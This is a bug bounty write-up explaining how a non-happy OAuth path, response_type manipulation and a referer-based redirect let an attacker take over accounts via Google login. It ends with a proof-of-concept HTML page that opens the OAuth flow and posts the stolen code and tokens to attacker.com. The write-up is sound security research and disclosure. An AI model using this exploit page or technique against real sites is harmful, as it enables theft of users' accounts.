OAuth Non-Happy Path to ATO

0xrz0xrz
7 min read

A few months ago, I was working on a public bug bounty program, and there was an OAuth implementation for users to log in and sign up.

Introduction

First of all, before you start reading this blog post, you should be familiar with some concepts:

Happy Path definition according to Wikipedia:

In the context of software or information modeling, a happy path (sometimes called happy flow) is a default scenario featuring no exceptional or error conditions. For example, the happy path for a function validating credit card numbers would be where none of the validation rules raise an error, thus letting execution continue successfully to the end, generating a positive response.

Non-Happy Paths definition based on Frans Rosen's write-up:

First, let’s explain the various ways to break the OAuth-dance. When I mean break, I mean causing a difference between the OAuth-provider issuing valid codes or tokens, but the website that gets the tokens from the provider is not successfully receiving and handling the tokens. I’ll refer to this below as a “non-happy path.

The "Dirty Dancing" write-up by Frans is one of the sources that inspired me to look into different OAuth implementations and expand my focus on Authorization and Authentication features to increase my attack surfaces in web and mobile applications.

let’s go back to Target

OAuth Flow of the Target

I started working with OAuth functionality to understand the happy path and conduct some testing to find the non-happy path. So, I drew a diagram to show exactly what happened in the flow:

As you can see in the callback section the green path is the happy path that the programmer expects:

Helllo

The red one is an non-happy path where the application continues with a different flow. If the conditions are not met, for example, missing a parameter or its value, the application will show weird behavior. So here, we as hunters love this weird behavior:

Open Redirect Referer Based

Here, I spent several hours figuring out this behavior further. As observed, in the other flow, the web application (not the OAuth provider) redirects the user to the referer value without any parameter. This behavior is not a vulnerability, but it is not a common way for error handling. As a hunter, when I face these situations, I dig a little bit to discover something new.

Conditions to be Vulnerable

Here are the conditions for the web application to be vulnerable:

  • We cannot force users to redirect with parameters

  • The application must go through the other flow to redirect based on the referer

  • In the last step of the flow the referer must be the attacker-control referer

  • In order to take over a victim’s account, the code should be stolen

Fragment Redirect

There are two common ways to redirect users: server-side and client-side. In the first method, when a user is redirected to another website, the fragment part of the URL remains unchanged, however, in a client-side redirect, the fragment part of the URL is removed with each redirect:

Response Type

To achieve the non-happy path (the red one in the diagram), I needed to force the application to derail from its normal behavior. So, I tried changing the response_type parameter from code to id_token (I learned the technique from here), and I was able to enter the other flow. In the other flow, surprisingly and unexpectedly, the access token was placed in the URL fragment section:

Referer Research

In the terms of referer, I conducted a small research to find out the HTTP and browsers behavior. I reached the following:

If I open attacker.com and it contains window.open(‘google.com‘) and it redirects me to the x.com by 3xx status code, the x.com will see the referer as attacker.com. it does not limited to one redirect, can be multiple, w → x → y → z and the z will see the referer as w

For the better understanding I drew a diagram:

Three OAuth Providers

I initiated the OAuth flow of three providers (Facebook, Google, GitHub) that the website uses to figure out whether it can be exploited or not.

Facebook

In the Facebook OAuth flow, I noticed that there is always a confirmation step at the end. It requires the user to stop and click on the confirmation to proceed, which changes the referrer to facebook.com and makes it non-exploitable:

Github

In the Github OAuth flow, we don't have a response_type parameter to manipulate to achieve changing the authentication flow, so I skipped it.

We Don't Do That Here - Meming Wiki

Google

In the Google OAuth flow, everything was ready to exploit. We were able to start the authentication flow with window.open and use different response_type values like id_token and code.

However, there was a problem: when the user had multiple Google accounts in the browser, the page would prompt the user to select an account.

This interruption caused the referrer to change to accounts.google.com, making it non-exploitable. The solution was to use the prompt=none parameter for users who had previously logged in with Google, which bypassed the account selection step and completed the flow automatically.

What do we have so far?

if you remember we have a few challenges to exploit this, so we solve all of them:

  • We cannot force users to redirect with parameters

    we can redirect fragments

  • The application must go through the other flow to redirect based on the referer
    the response_type does that

  • In the last step of the flow, the referer must be the attacker-control referer

    window.opener + 3xx status code redirect

  • In order to take over a victim’s account, the code should be stolen

    not solved yet, let’s go through it

Implementation of OAuth

So far, we can exploit the victim and steal the state and id_token.

Can we take over the victim's account with the id_token? What do you think?

The answer is NO; we need the authorization code to take over.

So, a simple question arises: why?

Unfortunately, the id_token was useless since the application didn’t have backend code to authenticate users with it. you can find the answer in this diagram.

Comma

However, I didn't quit and started digging more into the concepts. While doing some research, I found something very interesting in Google OAuth. I noticed that we can use multiple response_type values in Google OAuth. For example, we can use something like this:

So I tried it and started the OAuth flow with response_type=code,id_token parameters, and after the flow ended, the result was like this:

attacker.com#state=STATE&id_token=TOKEN&state=STATE&code=CODE

So, after a long journey, I was able to take over the victim's account.

Exploitation: Flow

so the exploit flow looks like this,

  1. the attacker sends a malicious link to the victim.

  2. the victim opens the malicious link and an opener starts the Google OAuth flow with response_type=id_token,code&prompt=none as additional parameters.

  3. In the opener, after the provider authorizes the victim, it sends them back to the value of the redirect_uri parameter, which is a target website.

  4. Due to the non-happy path, the victim is redirected to the attacker's website with everything the attacker needs in the fragment section.

Exploitation: Code

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Attacker Website</title>
</head>
<body>
    <input type="button" value="exploit" onclick="exploit()">
    <script>
        function exploit() {
            window.open("https://accounts.google.com/o/oauth2/auth?client_id=&redirect_uri=https://target.com/api/v1/oauth/google/callback/login&scope=https://www.googleapis.com/auth/userinfo.profile%20https://www.googleapis.com/auth/userinfo.email&state=&response_type=id_token,code&prompt=none", "", "width=10, height=10");
        }

        window.addEventListener('load', () => {
            const fragment = window.location.hash;
            if (fragment) {
                const encodedFragment = encodeURIComponent(fragment);
                fetch('https://attacker.com/save_tokens', {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/x-www-form-urlencoded',
                    },
                    body: `${encodedFragment}`,
                });
            }
        });
    </script>
</body>
</html>

Conclusion

don't forget that this complexity is made up of small components, and understanding how these pieces work together is what leads to vulnerabilities. finally, I reported it, and after a week of explaining this to the company's security team, they finally marked it as TRIAGE. they changed the attack complexity from LOW to HIGH because not every user connects their Google account to their account. As a result, the CVSS score changed from 8.8 to about 7.7, and I received about $3000 bounty for that.

5
Subscribe to my newsletter

Read articles from 0xrz directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

0xrz
0xrz